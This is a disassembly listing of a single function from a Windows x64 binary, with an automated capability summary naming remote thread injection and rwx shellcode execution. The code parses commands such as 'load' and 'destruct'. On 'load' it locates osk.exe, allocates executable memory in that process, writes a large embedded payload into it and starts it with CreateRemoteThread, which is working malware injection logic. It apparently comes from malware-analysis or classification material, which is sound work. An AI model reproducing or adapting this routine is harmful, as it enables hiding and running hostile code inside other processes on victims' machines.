Function at 0x1400a2650
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x14048a080]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov rbx, rdx
mov r12, rcx
xor r13d, r13d
mov dword [rsp + 0x58], r13d
mov edi, dword [rdx + 0x10]
cmp edi, 1
jne 0x1400a269e
cmp dword [rdx], r13d
setne al
jmp 0x1400a26a4
movzx eax, dil
and al, 1
test al, al
je 0x1400a286f
mov dword [rsp + 0x44], r13d
movabs rcx, 0x8fafd21e25c5e09b
lea rsi, str.p__b_
mov rax, qword [0x14048a780]
cmp rax, rcx
je 0x1400a26f1
movabs rcx, 0xb2ab117a257edf0d
cmp rax, rcx
je 0x1400a26f1
mov rax, qword [str.p__b_]
mov edx, 1
mov rcx, rsi
call qword [rax + 0x30]
jmp 0x1400a26f3
mov al, 1
movzx eax, al
add eax, 2
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x48], rsi
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x60], xmm0
movsd xmm1, qword [rsp + 0x50]
movsd qword [rbp + 0x70], xmm1
lea rdx, [rbp + 0x60]
mov rcx, rbx
call fcn.140077fc0
test al, al
je 0x1400a2756
lea rdx, str.Video_Encoders:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d220
lea rdx, [0x1400d9d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400a2e67
lea rcx, [rbp + 0x60]
call fcn.1400d7090
lea rdx, [rbp + 0x60]
mov rcx, rbx
call fcn.140077fc0
lea rdx, str.Video_Encoders:
test al, al
je 0x1400a27a5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d220
lea rdx, [0x1400d9d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [r12 + 8]
mov rcx, qword [r12]
call fcn.1400a1df0
jmp 0x1400a2e67
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000d220
mov rsi, rax
cmp edi, 1
jne 0x1400a27c9
mov r10, qword [rbx + 8]
mov rcx, qword [r10]
mov r9, qword [rcx + 0x10]
mov rcx, r10
jmp 0x1400a27e8
test edi, edi
jne 0x1400a27dd
lea rax, [0x140000000]
lea rcx, [rax + 0x48a960]
jmp 0x1400a27e1
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
mov r9, qword [rax + 0x28]
mov r8d, dword [rbx]
lea rdx, [rbp + 0x60]
call r9
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
mov rcx, rsi
call fcn.14000d900
lea rdx, [0x1400d9d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x1400a285c
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400a2857
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400a2857
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14028bc90
mov rdx, qword [r12 + 8]
mov rcx, qword [r12]
call fcn.1400a1df0
jmp 0x1400a2e67
mov rsi, qword [rcx + 8]
mov rcx, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
sub rax, rcx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc0]
call fcn.1400d9d90
nop
mov rax, qword [rsi]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], select
mov byte [rbp + 0x60], 0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], select
mov byte [rbp + 0x80], 0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], select
mov byte [rbp + 0xa0], 0
lea rax, [0x140000000]
lea rax, [rax + 0x4045f8]
mov qword [rsp + 0x60], rax
lea rax, [0x1403f87f0]
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x58], 2
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x5c], edx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0xf
cmova rdx, qword [rbp + 0xc0]
xor r9d, r9d
mov r8, qword [rbp + 0xd0]
lea rcx, [rsp + 0x78]
call fcn.1400d6190
nop
mov r8b, 0x3b
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.1400e1810
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
mov r15, qword [rbp + 0x78]
mov r14, qword [rbp + 0x60]
test al, al
je 0x1400a2ce3
mov r8b, 0x3b
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.1400e1810
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400a2ce3
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x60]
call fcn.1400e1810
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400a2ce3
lea rcx, [rbp + 0x60]
cmp r15, 0xf
seta dil
cmova rcx, r14
mov rbx, qword [rbp + 0x70]
cmp rbx, 4
jne 0x1400a2c76
mov r8, rbx
lea rdx, str.load
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400a2c76
lea rdx, [0x140409d0c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d220
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
mov rcx, rax
call fcn.14000d900
lea rdx, [0x1400d9d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ecx, [rbx - 3]
call fcn.14028bcc4
mov r13, rax
xor edx, edx
lea ecx, [rbx - 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400a2c6b
mov dword [rbp + 0xe0], 0x238
lea rdx, [rbp + 0xe0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400a2c6b
lea rdi, str.osk.exe
nop word [rax + rax]
xor eax, eax
lea rdx, [rbp + 0x10c]
nop dword [rax]
movzx ecx, word [rdx + rax*2]
inc rax
cmp cx, word [rdi + rax*2 - 2]
jne 0x1400a2c53
cmp rax, 8
jne 0x1400a2b40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp + 0xe8]
test r8d, r8d
je 0x1400a2c3e
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400a2c3e
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x7bdbd5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400a2c3e
mov qword [rsp + 0x20], 0
mov r9d, 0x7bdbd5
lea r8, [0x14048a9b0]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400a2c3e
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x1400a2c39
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [r12 + 8]
mov edx, 1
mov rcx, r13
call fcn.14028bc90
xor r13d, r13d
jmp 0x1400a2ce3
lea rdx, [rbp + 0xe0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400a2b30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400a2c3e
lea rcx, [rbp + 0x60]
test dil, dil
cmovne rcx, r14
cmp rbx, 8
jne 0x1400a2ce3
mov r8, rbx
lea rdx, str.destruct
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400a2ce3
lea rdx, [0x140409d0c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d220
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
mov rcx, rax
call fcn.14000d900
lea rdx, [0x1400d9d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [r12]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rsi
lea r8, [rsp + 0x40]
mov rdx, rsi
call fcn.1400a2f40
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x78]
call fcn.14000c9f0
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x1400a2d8b
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400a2d85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400a2d85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14028bc90
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x1400a2dcf
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400a2dca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400a2dca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14028bc90
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], select
mov byte [rbp + 0x80], 0
cmp r15, 0xf
jbe 0x1400a2e23
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400a2e1a
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400a2e1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14028bc90
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x1400a2e67
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400a2e62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400a2e62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14028bc90
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.14028bc70
mov rbx, qword [rsp + 0x480]
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret